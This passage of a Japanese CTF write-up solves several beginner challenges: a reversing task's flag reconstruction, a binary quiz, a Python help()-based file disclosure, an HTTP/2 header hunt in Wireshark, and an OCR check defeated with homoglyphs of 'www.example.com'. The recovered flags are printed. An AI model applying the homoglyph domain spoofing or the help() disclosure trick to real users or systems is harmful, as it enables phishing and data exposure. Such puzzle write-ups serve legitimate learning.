      (uStack16 < 0x100 && (cStack17 = *(char *)(param_1 + (int)uStack16), cStack17 != '\0'));
      uStack16 = uStack16 + 1) {
    if (((int)uStack16 % 3 == 0) || ((int)uStack16 % 5 == 0)) {
      lVar1 = (longlong)iStack12;
      iStack12 = iStack12 + 1;
      *(char *)((longlong)&uStack280 + lVar1) = cStack17;
    }
  }
  *(undefined *)((longlong)&uStack280 + (longlong)iStack12) = 0;
  check(&uStack280);
  return;
t2
  iStack12 = 0;
  TlsSetValue(TLS,"tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}");
  for (uStack16 = 0;
      (uStack16 < 0x100 && (cStack17 = *(char *)(param_1 + (int)uStack16), cStack17 != '\0'));
      uStack16 = uStack16 + 1) {
    if (((int)uStack16 % 3 != 0) && ((int)uStack16 % 5 != 0)) {
      lVar1 = (longlong)iStack12;
      iStack12 = iStack12 + 1;
      acStack280[lVar1] = cStack17;
    }
  }
  acStack280[iStack12] = '\0';
  check(acStack280);
  return;

fizzbuzz のように、3の倍数、5の倍数では t1 が、それ以外では t2 が呼ばれるような挙動になっています。これをもとにフラグを復元できました。

solve.py
s0 = "c4{fAPu8#FHh2+0cyo8$SWJH3a8X"
s1 = "tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}"

idx0 = 0
idx1 = 0
ans = ""
for i in range(len(s0) + len(s1)):
    if i % 3 == 0 or i % 5 == 0:
        ans += s0[idx0]
        idx0 += 1
    else:
        ans += s1[idx1]
        idx1 += 1

ctf4b{f%sAP$uT98Nv#FFHyrh2o+Lh0@8c9yoa98$ySoCW3rJPH3y&a83Xb}

Quiz

650 solves

Welcome, it's time for the binary quiz!
ようこそ、バイナリクイズの時間です!

Q1. What is the executable file's format used in Linux called?
    Linuxで使われる実行ファイルのフォーマットはなんと呼ばれますか?
    1) ELM  2) ELF  3) ELR
Answer : 2
Correct!

Q2. What is system call number 59 on 64-bit Linux?
    64bit Linuxにおけるシステムコール番号59はなんでしょうか?
    1) execve  2) folk  3) open
Answer : 1
Correct!

Q3. Which command is used to extract the readable strings contained in the file?
    ファイルに含まれる可読文字列を抽出するコマンドはどれでしょうか?
    1) file  2) strings  3) readelf
Answer : 2
Correct!

Q4. What is flag?
    フラグはなんでしょうか?
Answer : kusogayo
flag length must be 46.

最初から strings quiz | grep ctf でよかった…

ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}

misc

hitchhike4b

125 solves

import os
os.environ["PAGER"] = "cat" # No hitchhike(SECCON 2021)

if __name__ == "__main__":
    flag1 = "********************FLAG_PART_1********************"
    help() # I need somebody ...

if __name__ != "__main__":
    flag2 = "********************FLAG_PART_2********************"
    help() # Not just anybody ...

python の pager は通常 less で開かれるのですが、今回の問題では cat が使われるようにしています。 less なら !/bin/ls などでコマンドを使えるのですが、今回は使えません。

__xxx__ というタイプの入力でなにかおもしろい結果にならないかなと思って探していると、 __main__ でファイルを読み取ることができました。なるほど。

help> __main__
Help on module __main__:

NAME
    __main__

DATA
    __annotations__ = {}
    flag1 = 'ctf4b{53cc0n_15_1n_m'

FILE
    /home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py

これでフラグの前半部分がわかりました。後半部分はどうしましょう。 ファイル名が app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py であることがわかったので、これを読み出す方法はないのかなと思い、 app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc と試しに入力してみたら表示できました。なるほど module 扱いになるのか。

help> app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
Help on module app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc:

NAME
    app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc

DATA
    flag2 = 'y_34r5_4nd_1n_my_3y35}'

FILE
    /home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py

ctf4b{53cc0n_15_1n_my_34r5_4nd_1n_my_3y35}

頭をあまり使わずに解いてしまった…

H2

248 solves

main.go
package main

import (
  "net/http"
  "log"
  "fmt"
  "golang.org/x/net/http2"
  "golang.org/x/net/http2/h2c"
)

const SECRET_PATH = "<secret>"

func main() {
  handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
    if r.URL.Path == SECRET_PATH {
      w.Header().Set("x-flag", "<secret>")
    }
    w.WriteHeader(200)
    fmt.Fprintf(w, "Can you find the flag?\n")
  })

  h2s := &http2.Server{}
  h1s := &http.Server{
    Addr:    ":8080",
    Handler: h2c.NewHandler(handler, h2s),
  }

  log.Fatal(h1s.ListenAndServe())
}

正解の path へアクセスすると x-flag というヘッダ付でレスポンスが返ってきます。フラグが <secret> に入っているのかは非自明ですが、とりあえず wireshark で x-flag のついてるレスポンスを探します。 目 grep で頑張ろうと思いましたが量が多くて無理でした… filter をあれこれ試してみると、 http2.header.name=="x-flag" という filter で所望のレスポンスを絞り出すことができました。

Header: x-flag: ctf4b{http2_uses_HPACK_and_huffm4n_c0ding}
    Name Length: 6
    Name: x-flag
    Value Length: 42
    Value: ctf4b{http2_uses_HPACK_and_huffm4n_c0ding}
    [Unescaped: ctf4b{http2_uses_HPACK_and_huffm4n_c0ding}]
    Representation: Literal Header Field with Incremental Indexing - New Name

ctf4b{http2_uses_HPACK_and_huffm4n_c0ding}

phisher

238 solves

phisher.py
import os
import pyocr
import random
import string
import cv2 as cv
import numpy as np
from PIL import ImageFont, ImageDraw, Image


flag = os.getenv("CTF4B_FLAG")

fqdn = "www.example.com"

# TEXT to PNG
def text2png(text:str) -> str:
    os.makedirs("phish", exist_ok=True)
    filename = "".join([random.choice(string.ascii_letters) for i in range(15)])
    png = f"phish/{filename}.png"
    img = np.full((100, 600, 3), 0, dtype=np.uint8)
    font = ImageFont.truetype("font/Murecho-Black.ttf", 64)
    img_pil = Image.fromarray(img)
    ImageDraw.Draw(img_pil).text((10, 0), text[:15], font=font, fill=(255, 255, 255)) # text[:15] :)
    img = np.array(img_pil)
    cv.imwrite(png, img)
    return png

# PNG to TEXT (OCR-English)
def ocr(image:str) -> str:
    tool = pyocr.get_available_tools()[0]
    text = tool.image_to_string(Image.open(image), lang="eng")
    # os.remove(image)
    if not text:
        text = "???????????????"
    return text

# Can you deceive the OCR?
# Give me "www.example.com" without using "www.example.com" !!!
def phishing() -> None:
    input_fqdn = input("FQDN: ")[:15]
    ocr_fqdn = ocr(text2png(input_fqdn))
    if ocr_fqdn == fqdn: # [OCR] OK !!!
        for c in input_fqdn:
            if c in fqdn:
                global flag
                flag = f"\"{c}\" is included in \"www.example.com\" ;("
                break
        print(flag)
    else: # [OCR] NG
        print(f"\"{ocr_fqdn}\" is not \"www.example.com\" !!!!")

if __name__ == "__main__":
    print("""       _     _     _                  ____    __
 _ __ | |__ (_)___| |__   ___ _ __   / /\ \  / /
| '_ \| '_ \| / __| '_ \ / _ \ '__| / /  \ \/ /
| |_) | | | | \__ \ | | |  __/ |    \ \  / /\ \\
| .__/|_| |_|_|___/_| |_|\___|_|     \_\/_/  \_\\
|_|
""")
    phishing()

www.example.com という文字列を使わずに、 OCR の結果が www.example.com となる文字列を探す問題です (激ムズ) まずは https://www.irongeek.com/homoglyph-attack-generator.php で似ている文字を列挙し、 OCR 結果が妥当なものになるものをポチポチ試していきました。対応しているフォントはあまり多くなく、豆腐を何度も見ました…これで www 以外はなんとかなりました。 w はレパートリーが少なくて困っていたのですが、 https://github.com/codebox/homoglyph/blob/master/raw_data/chars.txtw の行を見るといくつか使えそうなものがありました。 最終的には ᴡᴡᴡ․еⅹаⅿρⅼе․ⅽоⅿ という入力で成功しました。

ctf4b{n16h7_ph15h1n6_15_600d}

これが238も解かれているの理解に苦しみます。今回解けた問題の中では一番苦戦した気がする…